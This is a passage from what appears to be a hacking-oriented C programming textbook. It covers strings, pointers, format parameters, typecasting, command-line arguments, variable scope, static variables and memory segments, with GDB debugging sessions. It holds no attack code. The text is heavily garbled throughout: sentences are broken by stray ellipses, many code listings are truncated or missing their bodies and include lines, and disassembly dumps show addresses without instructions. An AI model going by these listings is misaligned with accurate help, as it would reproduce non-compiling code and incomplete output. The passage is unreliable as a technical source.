The program execution will jump
back to the compare instruction, continue to execute the printf() call, and
increment the counter variable until it finally equals 10
...
Back to Basics
Now that the idea of programming is less abstract, there are a few other
important concepts to know about C
...
In the same way that
knowing a little about Latin can greatly improve one's understanding of the
English language, knowledge of low-level programming concepts can assist the
comprehension of higher-level ones
...
Strings
The value "Hello, world!\n" passed to the printf() function in the previous
program is a string—technically, a character array
...
A 20-character array is simply 20 adjacent
characters located in memory
...
The
char_array
...
char_array
...
h>
int main()
{
char str_a[20];
str_a[0] = 'H';
str_a[1] = 'e';
str_a[2] = 'l';
str_a[3] = 'l';
str_a[4] = 'o';
str_a[5] = ',';
str_a[6] = ' ';
str_a[7] = 'w';
str_a[8] = 'o';
str_a[9] = 'r';
str_a[10] = 'l';
str_a[11] = 'd';
str_a[12] = '!';
str_a[13] = '\n';
str_a[14] = 0;
printf(str_a);
}
The GCC compiler can also be given the -o switch to define the output file to
compile to
...
reader@hacking:~/booksrc $ gcc -o char_array char_array
...
/char_array
Hello, world!
reader@hacking:~/booksrc $
In the preceding program, a 20-element character array is defined as str_a, and
each element of the array is written to, one by one
...
Also notice that the last character is a 0
...
) The character array was defined, so 20 bytes are allocated for it, but
only 12 of these bytes are actually used
...
The remaining extra bytes are just garbage and will be
ignored
...
Since setting each character in a character array is painstaking and strings are
used fairly often, a set of standard functions was created for string manipulation
...
The order of
the function's arguments is similar to Intel assembly syntax: destination first and
then source
...
c program can be rewritten using strcpy() to
accomplish the same thing using the string library
...
h since it uses a string function
...
c
#include
h>
int main() {
char str_a[20];
strcpy(str_a, "Hello, world!\n");
printf(str_a);
}
Let's take a look at this program with GDB
...
The debugger will pause the program at each
breakpoint, giving us a chance to examine registers and memory
...
reader@hacking:~/booksrc $ gcc -g -o char_array2 char_array2
...
/char_array2
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
h>
2 #include
c, line 6
...
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending
...
c, line 8
...
At each
breakpoint, we're going to look at EIP and the instructions it points to
...
(gdb) run
Starting program: /home/reader/booksrc/char_array2
Breakpoint 4 at 0xb7f076f4
Pending breakpoint "strcpy" resolved
Breakpoint 1, main () at char_array2
...
Breakpoint 4, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc
...
6
(gdb) i r eip
eip 0xb7f076f4 0xb7f076f4
(gdb) x/5i $eip
0xb7f076f4
0xb7f076f7
0xb7f076fa
0xb7f076fc
0xb7f076fe
(gdb) continue
Continuing
...
c:8
8 printf(str_a);
(gdb) i r eip
eip 0x80483d7 0x80483d7
(gdb) x/5i $eip
0x80483d7
0x80483da
0x80483dd
0x80483e2
0x80483e3
(gdb)
The address in EIP at the middle breakpoint is different because the code for the
strcpy() function comes from a loaded library
...
I'd like to point out that EIP is able to travel
from the main code to the strcpy() code and back again
...
The stack lets
EIP return through long chains of function calls
...
In the output below, the stack backtrace is shown at
each breakpoint
...
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/char_array2
Error in re-setting breakpoint 4:
Function "strcpy" not defined
...
c:7
7 strcpy(str_a, "Hello, world!\n");
(gdb) bt
#0 main () at char_array2
...
Breakpoint 4, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc
...
6
(gdb) bt
#0 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc
...
6
#1 0x080483d7 in main () at char_array2
...
Breakpoint 3, main () at char_array2
...
c:8
(gdb)
At the middle breakpoint, the backtrace of the stack shows its record of the
strcpy() call
...
This is due to an exploit protection
method that is turned on by default in the Linux kernel since 2
...
11
...
Signed, Unsigned, Long, and Short
By default, numerical values in C are signed, which means they can be both
negative and positive
...
Since it's all just memory in the end, all numerical values must be stored in binary,
and unsigned values make the most sense in binary
...
A 32-bit
signed integer is still just 32 bits, which means it can only be in one of 232 possible
bit combinations
...
Essentially, one of the bits is a flag marking the value positive
or negative
...
Two's complement represents negative numbers in a form suited for binary adders—
when a negative value in two's complement is added to a positive number of the
same magnitude, the result will be 0
...
It sounds
strange, but it works and allows negative numbers to be added in combination
with positive numbers using simple binary adders
...
For simplicity's sake, 8-bit numbers are used in this example
...
Then all the bits are
flipped, and 1 is added to result in the two's complement representation for
negative 73, 10110111
...
The program pcalc shows the value 256 because it's not
aware that we're only dealing with 8-bit values
...
This example might shed some light on how two's complement
works its magic
...
An unsigned integer would be declared with
unsigned int
...
The actual sizes will vary
depending on the architecture the code is compiled for
...
This works like a function that takes a data type as its input and returns the
size of a variable declared with that data type for the target architecture
...
c program explores the sizes of various data types, using the
sizeof() function
...
c
#include
It uses
something called a format specifier to display the value returned from the
sizeof() function calls
...
reader@hacking:~/booksrc $ gcc datatype_sizes
...
/a
...
A float is also four bytes, while a char only needs a single
byte
...
Pointers
The EIP register is a pointer that "points" to the current instruction during a
program's execution by containing its memory address
...
Since the physical memory cannot actually be moved, the
information in it must be copied
...
This is also expensive from a memory standpoint, since space for the new
destination copy must be saved or allocated before the source can be copied
...
Instead of copying a large block of
memory, it is much simpler to pass around the address of the beginning of that
block of memory
...
Since memory
on the x86 architecture uses 32-bit addressing, pointers are also 32 bits in size (4
bytes)
...
Instead of defining a variable of that type, a pointer is defined as something that
points to data of that type
...
c program is an example of a pointer being
used with the char data type, which is only 1 byte in size
...
c
#include
h>
int main() {
char str_a[20]; // A 20-element character array
char *pointer; // A pointer, meant for a character array
char *pointer2; // And yet another one
strcpy(str_a, "Hello, world!\n");
pointer = str_a; // Set the first pointer to the start of the array
...
printf(pointer2); // Print it
...
printf(pointer); // Print again
...
When the character array is referenced like this, it is actually
a pointer itself
...
The second pointer is set to the first pointer's
address plus two, and then some things are printed (shown in the output below)
...
c
reader@hacking:~/booksrc $
...
The program is recompiled, and a breakpoint is
set on the tenth line of the source code
...
reader@hacking:~/booksrc $ gcc -g -o pointer pointer
...
/pointer
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
h>
2 #include
(gdb)
11 printf(pointer);
12
13 pointer2 = pointer + 2; // Set the second one 2 bytes further in
...
15 strcpy(pointer2, "y you guys!\n"); // Copy into that spot
...
17 }
(gdb) break 11
Breakpoint 1 at 0x80483dd: file pointer
...
(gdb) run
Starting program: /home/reader/booksrc/pointer
Breakpoint 1, main () at pointer
...
Remember that the string
itself isn't stored in the pointer variable—only the memory address 0xbffff7e0 is
stored there
...
The address-of operator is a unary operator, which simply
means it operates on a single argument
...
When it's used, the address of that variable is
returned, instead of the variable itself
...
(gdb) x/xw &pointer
0xbffff7dc: 0xbffff7e0
(gdb) print &pointer
$1 = (char **) 0xbffff7dc
(gdb) print pointer
$2 = 0xbffff7e0 "Hello, world!\n"
(gdb)
When the address-of operator is used, the pointer variable is shown to be located
at the address 0xbffff7dc in memory, and it contains the address 0xbffff7e0
...
The addressof
...
This
line is shown in bold below
...
c
#include
reader@hacking:~/booksrc $ gcc -g addressof
...
/a
...
so
...
(gdb) list
1 #include
8 }
(gdb) break 8
Breakpoint 1 at 0x8048361: file addressof
...
(gdb) run
Starting program: /home/reader/booksrc/a
...
c:8
8 }
(gdb) print int_var
$1 = 5
(gdb) print &int_var
$2 = (int *) 0xbffff804
(gdb) print int_ptr
$3 = (int *) 0xbffff804
(gdb) print &int_ptr
$4 = (int **) 0xbffff800
(gdb)
As usual, a breakpoint is set and the program is executed in the debugger
...
The first print command shows
the value of int_var, and the second shows its address using the address-of
operator
...
An additional unary operator called the dereference operator exists for use with
pointers
...
It takes the form of an asterisk in front of
the variable name, similar to the declaration of a pointer
...
Used in GDB, it can retrieve
the integer value int_ptr points to
...
c code (shown in addressof2
...
The added printf() functions use format parameters,
which I'll explain in the next section
...
addressof2
...
h>
int main() {
int int_var = 5;
int *int_ptr;
int_ptr = &int_var; // Put the address of int_var into int_ptr
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
int_ptr = 0xbffff834
&int_ptr = 0xbffff830
*int_ptr = 0x00000005
int_var is located at 0xbffff834 and contains 5
int_ptr is located at 0xbffff830, contains 0xbffff834, and points to 5
reader@hacking:~/booksrc $
When the unary operators are used with pointers, the address-of operator can be
thought of as moving backward, while the dereference operator moves forward in
the direction the pointer is pointing
...
This
function can also use format strings to print variables in many different formats
...
The way the printf() function has been used in the previous
programs, the "Hello, world!\n" string technically is the format string;
however, it is devoid of special escape sequences
...
Each format parameter begins with a
percent sign (%) and uses a single-character shorthand very similar to formatting
characters used by GDB's examine command
...
There are also some format parameters that expect pointers, such as
the following
...
The %nformat parameter
is unique in that it actually writes data
...
For now, our focus will just be the format parameters used for displaying data
...
c program shows some examples of different format parameters
...
c
#include
The final printf()
call uses the argument A, which will provide the address of the variable A
...
reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings
...
/fmt_strings
[A] Dec: -73, Hex: ffffffb7, Unsigned: 4294967223
[B] Dec: 31337, Hex: 7a69, Unsigned: 31337
[field width on B] 3: '31337', 10: ' 31337', '00031337'
[string] sample Address bffff870
variable A is at address: bffff86c
reader@hacking:~/booksrc $
The first two calls to printf() demonstrate the printing of variables A and B,
using different format parameters
...
The %d
format parameter allows for negative values, while %u does not, since it is
expecting unsigned values
...
This is because A is a negative number stored in two's complement,
and the format parameter is trying to print it as if it were an unsigned value
...
The third line in the example, labeled [field width on B], shows the use of the
field-width option in a format parameter
...
However, this is not a
maximum field width—if the value to be outputted is greater than the field width,
the field width will be exceeded
...
When 10 is used as the field width, 5 bytes of blank space are
outputted before the output data
...
When 08 is used, for
example, the output is 00031337
...
Remember that the variable string is actually a pointer containing the
address of the string, which works out wonderfully, since the %s format parameter
expects its data to be passed by reference
...
This value is displayed as eight hexadecimal
digits, padded by zeros
...
Minimum field widths can be set by putting a number
right after the percent sign, and if the field width begins with 0, it will be padded
with zeros
...
So far, so good
...
One key difference is that the scanf() function expects all of its
arguments to be pointers, so the arguments must actually be variable addresses—
not the variables themselves
...
The
input
...
input
...
h>
#include
c, the scanf() function is used to set the count variable
...
reader@hacking:~/booksrc $ gcc -o input input
...
/input
Repeat how many times? 3
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
reader@hacking:~/booksrc $
...
In
addition, the ability to output the values of variables allows for debugging in the
program, without the use of a debugger
...
Typecasting
Typecasting is simply a way to temporarily change a variable's data type, despite
how it was originally defined
...
The syntax for typecasting is as follows:
(typecast_data_type) variable
This can be used when dealing with integers and floating-point variables, as
typecasting
...
typecasting
...
h>
int main() {
int a, b;
float c, d;
a = 13;
b = 5;
c = a / b; // Divide using integers
...
printf("[integers]\t a = %d\t b = %d\n", a, b);
printf("[floats]\t c = %f\t d = %f\n", c, d);
}
The results of compiling and executing typecasting
...
reader@hacking:~/booksrc $ gcc typecasting
...
/a
...
000000 d = 2
...
However, if these integer variables are typecast into floats, they will be treated as
such
...
6
...
Even though a pointer is just a memory address, the C
compiler still demands a data type for every pointer
...
An integer pointer should only point to integer data,
while a character pointer should only point to character data
...
An integer is four bytes in size, while a character only takes
up a single byte
...
c program will demonstrate and explain these
concepts further
...
This is shorthand meant for displaying pointers and is basically
equivalent to 0x%08x
...
c
#include
printf("[integer pointer] points to %p, which contains the integer %d\n",
int_pointer, *int_pointer);
int_pointer = int_pointer + 1;
}
for(i=0; i < 5; i++) { // Iterate through the char array with the char_pointer
...
Two pointers are also defined, one with the
integer data type and one with the character data type, and they are set to point
at the start of the corresponding data arrays
...
In the loops, when the integer and character values are actually
printed with the %d and %c format parameters, notice that the corresponding
printf() arguments must dereference the pointer variables
...
reader@hacking:~/booksrc $ gcc pointer_types
...
/a
...
Since a char is only 1 byte, the pointer to the next char would
naturally also be 1 byte over
...
In pointer_types2
...
The major changes to the code are marked
in bold
...
c
#include
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer
...
printf("[char pointer] points to %p, which contains the integer %d\n",
char_pointer, *char_pointer);
char_pointer = char_pointer + 1;
}
}
The output below shows the warnings spewed forth from the compiler
...
c
pointer_types2
...
c:12: warning: assignment from incompatible pointer type
pointer_types2
...
But the compiler and
perhaps the programmer are the only ones that care about a pointer's type
...
reader@hacking:~/booksrc $
...
out
[integer pointer] points to 0xbffff810, which contains the char 'a'
[integer pointer] points to 0xbffff814, which contains the char 'e'
[integer pointer] points to 0xbffff818, which contains the char '8'
[integer pointer] points to 0xbffff81c, which contains the char '
[integer pointer] points to 0xbffff820, which contains the char '?'
[char pointer] points to 0xbffff7f0, which contains the integer 1
[char pointer] points to 0xbffff7f1, which contains the integer 0
[char pointer] points to 0xbffff7f2, which contains the integer 0
[char pointer] points to 0xbffff7f3, which contains the integer 0
[char pointer] points to 0xbffff7f4, which contains the integer 2
reader@hacking:~/booksrc $
Even though the int_pointer points to character data that only contains 5 bytes
of data, it is still typed as an integer
...
Similarly, the char_pointer's address is
only incremented by 1 each time, stepping through the 20 bytes of integer data
(five 4-byte integers), one byte at a time
...
The 4-byte value of 0x00000001 is actually stored in memory as 0x01, 0x00,
0x00, 0x00
...
Since the pointer type determines the size of the data
it points to, it's important that the type is correct
...
c below, typecasting is just a way to change the type of a variable
on the fly
...
c
#include
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer
...
printf("[char pointer] points to %p, which contains the integer %d\n",
char_pointer, *char_pointer);
char_pointer = (char *) ((int *) char_pointer + 1);
}
}
In this code, when the pointers are initially set, the data is typecast into the
pointer's data type
...
To fix
that, when 1 is added to the pointers, they must first be typecast into the correct
data type so the address is incremented by the correct amount
...
It doesn't look
too pretty, but it works
...
c
reader@hacking:~/booksrc $
...
out
[integer pointer] points to 0xbffff810, which contains the char 'a'
[integer pointer] points to 0xbffff811, which contains the char 'b'
[integer pointer] points to 0xbffff812, which contains the char 'c'
[integer pointer] points to 0xbffff813, which contains the char 'd'
[integer pointer] points to 0xbffff814, which contains the char 'e'
[char pointer] points to 0xbffff7f0, which contains the integer 1
[char pointer] points to 0xbffff7f4, which contains the integer 2
[char pointer] points to 0xbffff7f8, which contains the integer 3
[char pointer] points to 0xbffff7fc, which contains the integer 4
[char pointer] points to 0xbffff800, which contains the integer 5
reader@hacking:~/booksrc $
Naturally, it is far easier just to use the correct data type for pointers in the first
place; however, sometimes a generic, typeless pointer is desired
...
Experimenting with
void pointers quickly reveals a few things about typeless pointers
...
In order to retrieve the value
stored in the pointer's memory address, the compiler must first know what type of
data it is
...
These are fairly intuitive limitations, which means that a void pointer's
main purpose is to simply hold a memory address
...
c program can be modified to use a single void pointer by
typecasting it to the proper type each time it's used
...
This also means a void pointer must always be typecast when
dereferencing it, however
...
c,
which uses a void pointer
...
c
#include
printf("[char pointer] points to %p, which contains the char '%c'\n",
void_pointer, *((char *) void_pointer));
void_pointer = (void *) ((char *) void_pointer + 1);
}
void_pointer = (void *) int_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
[char pointer] points to 0xbffff810, which contains the char 'a'
[char pointer] points to 0xbffff811, which contains the char 'b'
[char pointer] points to 0xbffff812, which contains the char 'c'
[char pointer] points to 0xbffff813, which contains the char 'd'
[char pointer] points to 0xbffff814, which contains the char 'e'
[integer pointer] points to 0xbffff7f0, which contains the integer 1
[integer pointer] points to 0xbffff7f4, which contains the integer 2
[integer pointer] points to 0xbffff7f8, which contains the integer 3
[integer pointer] points to 0xbffff7fc, which contains the integer 4
[integer pointer] points to 0xbffff800, which contains the integer 5
reader@hacking:~/booksrc $
The compilation and output of this pointer_types4
...
c
...
Since the type is taken care of by the typecasts, the void pointer is truly nothing
more than a memory address
...
In pointer_types5
...
pointer_types5
...
h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
unsigned int hacky_nonpointer;
hacky_nonpointer = (unsigned int) char_array;
for(i=0; i < 5; i++) { // Iterate through the int array with the int_pointer
...
printf("[hacky_nonpointer] points to %p, which contains the integer %d\n",
hacky_nonpointer, *((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(int);
}
}
This is rather hacky, but since this integer value is typecast into the proper
pointer types when it is assigned and de-referenced, the end result is the same
...
reader@hacking:~/booksrc $ gcc pointer_types5
...
/a
...
In the end, after the program has
been compiled, the variables are nothing more than memory addresses
...
Command-Line Arguments
Many nongraphical programs receive input in the form of command-line
arguments
...
This tends to be
more efficient and is a useful input method
...
The integer will contain the number of arguments, and the array
of strings will contain each of those arguments
...
c program and
its execution should explain things
...
c
#include
c
reader@hacking:~/booksrc $
...
/commandline
reader@hacking:~/booksrc $
...
/commandline
argument #1 - this
argument #2 - is
argument #3 - a
argument #4 - test
reader@hacking:~/booksrc $
The zeroth argument is always the name of the executing binary, and the rest of
the argument array (often called an argument vector) contains the remaining
arguments as strings
...
Regardless of this, the argument is passed in as a string;
however, there are standard conversion functions
...
The most common of these functions is atoi(), which is short for
ASCII to integer
...
Observe its usage in convert
...
convert
...
h>
void usage(char *program_name) {
printf("Usage: %s
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
if(argc < 3) // If fewer than 3 arguments are used,
usage(argv[0]); // display usage message and exit
...
printf("Repeating %d times
...
}
The results of compiling and executing convert
...
reader@hacking:~/booksrc $ gcc convert
...
/a
...
/a
...
/a
...
0 - Hello, world!
1 - Hello, world!
2 - Hello, world!
reader@hacking:~/booksrc $
In the preceding code, an if statement makes sure that three arguments are
used before these strings are accessed
...
In C it's important to check for these types of conditions and
handle them in program logic
...
The convert2
...
convert2
...
h>
void usage(char *program_name) {
printf("Usage: %s
exit(1);
}
int main(int argc, char *argv[]) {
int i, count;
// if(argc < 3) // If fewer than 3 arguments are used,
// usage(argv[0]); // display usage message and exit
...
printf("Repeating %d times
...
}
The results of compiling and executing convert2
...
reader@hacking:~/booksrc $ gcc convert2
...
/a
...
This results
in the program crashing due to a segmentation fault
...
When the program attempts to access an address that is out of
bounds, it will crash and die in what's called a segmentation fault
...
reader@hacking:~/booksrc $ gcc -g convert2
...
/a
...
so
...
(gdb) run test
Starting program: /home/reader/booksrc/a
...
0xb7ec819b in ?? () from /lib/tls/i686/cmov/libc
...
6
(gdb) where
#0 0xb7ec819b in ?? () from /lib/tls/i686/cmov/libc
...
6
#1 0xb800183c in ?? ()
#2 0x00000000 in ?? ()
(gdb) break main
Breakpoint 1 at 0x8048419: file convert2
...
(gdb) run test
The program being debugged has been started already
...
out test
Breakpoint 1, main (argc=2, argv=0xbffff894) at convert2
...
Program received signal SIGSEGV, Segmentation fault
...
so
...
out"
(gdb) x/s 0xbffff9ce
0xbffff9ce: "test"
(gdb) x/s 0x00000000
0x0:
(gdb) quit
The program is running
...
The where command will sometimes
show a useful backtrace of the stack; however, in this case, the stack was too
badly mangled in the crash
...
Since the
argument vector is a pointer to list of strings, it is actually a pointer to a list of
pointers
...
The first one is the zeroth argument, the second is the test argument,
and the third is zero, which is out of bounds
...
Variable Scoping
Another interesting concept regarding memory in C is variable scoping or context
—in particular, the contexts of variables within functions
...
In fact,
multiple calls to the same function all have their own contexts
...
c
...
c
#include
reader@hacking:~/booksrc $ gcc scope
...
/a
...
Notice that
within the main() function, the variable i is 3, even after calling func1() where
the variable i is 5
...
The best way to think of this is that
each function call has its own version of the variable i
...
Variables are global if they are defined at the beginning of the code,
outside of any functions
...
c example code shown below, the variable
j is declared globally and set to 42
...
scope2
...
h>
int j = 42; // j is a global variable
...
printf("\t\t\t[in func3] i = %d, j = %d\n", i, j);
}
void func2() {
int i = 7;
printf("\t\t[in func2] i = %d, j = %d\n", i, j);
printf("\t\t[in func2] setting j = 1337\n");
j = 1337; // Writing to j
func3();
printf("\t\t[back in func2] i = %d, j = %d\n", i, j);
}
void func1() {
int i = 5;
printf("\t[in func1] i = %d, j = %d\n", i, j);
func2();
printf("\t[back in func1] i = %d, j = %d\n", i, j);
}
int main() {
int i = 3;
printf("[in main] i = %d, j = %d\n", i, j);
func1();
printf("[back in main] i = %d, j = %d\n", i, j);
}
The results of compiling and executing scope2
...
reader@hacking:~/booksrc $ gcc scope2
...
/a
...
In this case, the compiler prefers to use the local variable
...
The global variable j is just stored in memory, and every
function is able to access that memory
...
Printing the memory addresses of these variables will give a clearer picture of
what's going on
...
c example code below, the variable addresses are
printed using the unary address-of operator
...
c
#include
void func3() {
int i = 11, j = 999; // Here, j is a local variable of func3()
...
c are as follows
...
c
reader@hacking:~/booksrc $
...
out
[in main] i @ 0xbffff834 = 3
[in main] j @ 0x08049988 = 42
[in func1] i @ 0xbffff814 = 5
[in func1] j @ 0x08049988 = 42
[in func2] i @ 0xbffff7f4 = 7
[in func2] j @ 0x08049988 = 42
[in func2] setting j = 1337
[in func3] i @ 0xbffff7d4 = 11
[in func3] j @ 0xbffff7d0 = 999
[back in func2] i @ 0xbffff7f4 = 7
[back in func2] j @ 0x08049988 = 1337
[back in func1] i @ 0xbffff814 = 5
[back in func1] j @ 0x08049988 = 1337
[back in main] i @ 0xbffff834 = 3
[back in main] j @ 0x08049988 = 1337
reader@hacking:~/booksrc $
In this output, it is obvious that the variable j used by func3() is different than
the j used by the other functions
...
Also, notice that
the variable i is actually a different memory address for each function
...
Then the backtrace command shows the record of each function call on the stack
...
c
reader@hacking:~/booksrc $ gdb -q
...
out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db
...
1"
...
h>
2
3 int j = 42; // j is a global variable
...
7 printf("\t\t\t[in func3] i @ 0x%08x = %d\n", &i, i);
8 printf("\t\t\t[in func3] j @ 0x%08x = %d\n", &j, j);
9 }
10
(gdb) break 7
Breakpoint 1 at 0x8048388: file scope3
...
(gdb) run
Starting program: /home/reader/booksrc/a
...
c:7
7 printf("\t\t\t[in func3] i @ 0x%08x = %d\n", &i, i);
(gdb) bt
#0 func3 () at scope3
...
c:17
#2 0x0804849f in func1 () at scope3
...
c:35
(gdb)
The backtrace also shows the nested function calls by looking at records kept on
the stack
...
Each line in the backtrace corresponds to a stack frame
...
The local variables contained in
each stack frame can be shown in GDB by adding the word full to the backtrace
command
...
c:7
i = 11
j = 999
#1 0x0804841d in func2 () at scope3
...
c:26
i = 5
#3 0x0804852b in main () at scope3
...
The global version of the variable j is used in the other function's
contexts
...
Similar to global
variables, a static variable remains intact between function calls; however, static
variables are also akin to local variables since they remain local within a
particular function context
...
The code in static
...
static
...
h>
void function() { // An example function, with its own context
int var = 5;
static int static_var = 5; // Static variable initialization
printf("\t[in function] var = %d\n", var);
printf("\t[in function] static_var = %d\n", static_var);
var++; // Add one to var
...
}
int main() { // The main function, with its own context
int i;
static int static_var = 1337; // Another static, in a different context
for(i=0; i < 5; i++) { // Loop 5 times
...
}
}
The aptly named static_var is defined as a static variable in two places: within
the context of main() and within the context of function()
...
The function
simply prints the values of the two variables in its context and then adds 1 to both
of them
...
reader@hacking:~/booksrc $ gcc static
...
/a
...
This is because static variables retain their values, but also because
they are only initialized once
...
Once again, printing the addresses of these variables by dereferencing them with
the unary address operator will provide greater viability into what's really going
on
...
c for an example
...
c
#include
static_var++; // Add 1 to static_var
...
}
}
The results of compiling and executing static2
...
reader@hacking:~/booksrc $ gcc static2
...
/a
...
You may
have noticed that the addresses of the local variables all have very high
addresses, like 0xbffff814, while the global and static variables all have very low
memory addresses, like 0x0804968c and 0x8049688
...
Read on for your answers
...
Each segment represents a special portion of memory that is set aside
for a certain purpose
...
This is where the
assembled machine language instructions of the program are located
...
As a program executes,
the EIP is set to the first instruction in the text segment
...
Reads the instruction that EIP is pointing to
2
...
Executes the instruction that was read in step 1
4
...
The processor doesn't care about the
change, because it's expecting the execution to be nonlinear anyway
...
Write permission is disabled in the text segment, as it is not used to store
variables, only code
...
Another advantage of this segment being read-only is that it can be shared among
different copies of the program, allowing multiple executions of the program at
the same time without any problems
...
The data and bss segments are used to store global and static program variables
...
Although these segments are
writable, they also have a fixed size
...
Both
global and static variables are able to persist because they are stored in their own
memory segments
...
Blocks
of memory in this segment can be allocated and used for whatever the
programmer might need
...
All of the memory within
the heap is managed by allocator and deallocator algorithms, which respectively
reserve a region of memory in the heap for use and remove reservations to allow
that portion of memory to be reused for later reservations
...
This means a
programmer using the heap allocation functions can reserve and free memory on
the fly
...
The stack segment also has variable size and is used as a temporary scratch pad to
store local function variables and context during function calls
...
When a program calls a function, that function will
have its own set of passed variables, and the function's code will be at a different
memory location in the text (or code) segment
...
All of this information is
stored together on the stack in what is collectively called a stack frame
...
In general computer science terms, a stack is an abstract data structure that is
used frequently
...
Think of it as putting beads on
a piece of string that has a knot on one end—you can't get the first bead off until
you have removed all the other beads
...
As the name implies, the stack segment of memory is, in fact, a stack data
structure, which contains stack frames
...
Since this is very dynamic behavior, it makes
sense that the stack is also not of a fixed size
...
The FILO nature of a stack might seem odd, but since the stack is used to store
context, it's very useful
...
The EBP register—sometimes called the frame
pointer (FP) or local base (LB) pointer— is used to reference local function variables in
the current stack frame
...
The SFP
is used to restore EBP to its previous value, and the return address is used to restore
EIP to the next instruction found after the function call
...
The following stack_example
...
Memory Segmentation
stack_example
...
The local variables for the function include a
single character called flag and a 10-character buffer called buffer
...
After compiling the program, its
inner workings can be examined with GDB
...
The main()
function starts at 0x08048357 and test_function()starts at 0x08048344
...
These instructions are collectively called the procedure prologue or function prologue
...
Sometimes the function prologue will handle some stack
alignment as well
...
reader@hacking:~/booksrc $ gcc -g stack_example
...
/a
...
so
...
(gdb) disass main
Dump of assembler code for function main():
0x08048357
0x08048358
0x0804835a
0x0804835d
0x08048360
0x08048365
0x08048367
0x0804836f
0x08048377
0x0804837f
0x08048386
0x0804838b
0x0804838c
End of assembler dump
(gdb) disass test_function()
Dump of assembler code for function test_function:
0x08048344
0x08048345
0x08048347
0x0804834a
0x08048351
0x08048355
0x08048356
End of assembler dump
(gdb)
When the program is run, the main() function is called, which simply calls
test_function()
...
When
test_function() is called, the function arguments are pushed onto the stack in
reverse order (since it's FILO)
...
These values correspond to the variables d, c, b, and a in the function
...
(gdb) disass main
Dump of assembler code for function main:
0x08048357
0x08048358
0x0804835a
0x0804835d
0x08048360
0x08048365
0x08048367
0x0804836f
0x08048377
0x0804837f
0x08048386
0x0804838b
0x0804838c
End of assembler dump
(gdb)
Next, when the assembly call instruction is executed, the return address is pushed
onto the stack and the execution flow jumps to the start of test_function() at
0x08048344
...
In this case, the return address would point
to the leave instruction in main() at 0x0804838b
...
In this step, the current value of EBP
is pushed to the stack
...
The current value of ESP is
then copied into EBP to set the new frame pointer
...
Memory is saved
for these variables by subtracting fromESP
...
We can watch the stack frame construction on the stack using GDB
...
GDB will put the
first breakpoint before the function arguments are pushed to the stack, and the
second breakpoint after test_function()'s procedure prologue
...
(gdb) list main
4
5 flag = 31337;
6 buffer[0] = 'A';
7 }
8
9 int main() {
10 test_function(1, 2, 3, 4);
11 }
(gdb) break 10
Breakpoint 1 at 0x8048367: file stack_example
...
(gdb) break test_function
Breakpoint 2 at 0x804834a: file stack_example
...
(gdb) run
Starting program: /home/reader/booksrc/a
...
c:10
10 test_function(1, 2, 3, 4);
(gdb) i r esp ebp eip
esp 0xbffff7f0 0xbffff7f0
ebp 0xbffff808 0xbffff808
eip 0x8048367 0x8048367
(gdb) x/5i $eip
0x8048367
0x804836f
0x8048377
0x804837f
0x8048386
(gdb)
This breakpoint is right before the stack frame for the test_function() call is
created
...
The next breakpoint is right after the procedure prologue for
test_function(), so continuing will build the stack frame
...
The local variables (flag and
buffer) are referenced relative to the frame pointer (EBP)
...
Breakpoint 2, test_function (a=1, b=2, c=3, d=4) at stack_example
...
(gdb) print $ebp-12
$1 = (void *) 0xbffff7dc
(gdb) print $ebp-40
$2 = (void *) 0xbffff7c0
(gdb) x/16xw $esp
0xbffff7c0:
0x00000000 0x08049548 0xbffff7d8 0x08048249
0xbffff7d0: 0xb7f9f729 0xb7fd6ff4 0xbffff808 0x080483b9
0xbffff7e0: 0xb7fd6ff4
0xbffff7f0:
(gdb)
0xbffff89c
0xbffff808
0x0804838b
0x00000001 0x00000002 0x00000003 0x00000004
The stack frame is shown on the stack at the end
...
Above that is the saved frame pointer of
0xbffff808 ( ), which is what EBP was in the previous stack frame
...
Calculating
their relative addresses to EBP show their exact locations in the stack frame
...
The extra space in the stack frame is just padding
...
If
another function was called within the function, another stack frame would be
pushed onto the stack, and so on
...
This
behavior is the reason this segment of memory is organized in a FILO data
structure
...
Since most
people are familiar with seeing numbered lists that count downward, the smaller
memory addresses are shown at the top
...
Most debuggers also display memory in this style, with the
smaller memory addresses at the top and the higher ones at the bottom
...
This minimizes wasted space, allowing the stack to
be larger if the heap is small and vice versa
...
Memory Segments in C
In C, as in other compiled languages, the compiled code goes into the text
segment, while the variables reside in the remaining segments
...
Variables that are defined outside of any functions are considered to be
global
...
If static or global variables are initialized with data, they
are stored in the data memory segment; otherwise, these variables are put in the
bss memory segment
...
Usually, pointers
are used to reference memory on the heap
...
Since the stack can contain
many different stack frames, stack variables can maintain uniqueness within
different functional contexts
...
c program will help explain
these concepts in C
...
c
#include
int stack_var; // Notice this variable has the same name as the one in main()
...
printf("global_initialized_var is at address 0x%08x\n", &global_initialized_var);
printf("static_initialized_var is at address 0x%08x\n\n", &static_initialized_var);
// These variables are in the bss segment
...
printf("heap_var is at address 0x%08x\n\n", heap_var_ptr);
// These variables are in the stack segment
...
The global and static variables are declared as described earlier, and
initialized counterparts are also declared
...
The heap
variable is actually declared as an integer pointer, which will point to memory
allocated on the heap memory segment
...
Since the newly allocated memory could be of any data
type, the malloc() function returns a void pointer, which needs to be typecast
into an integer pointer
...
c
reader@hacking:~/booksrc $
...
out
global_initialized_var is at address 0x080497ec
static_initialized_var is at address 0x080497f0
static_var is at address 0x080497f8
global_var is at address 0x080497fc
heap_var is at address 0x0804a008
stack_var is at address 0xbffff834
the function's stack_var is at address 0xbffff814
reader@hack ing:~/booksrc $
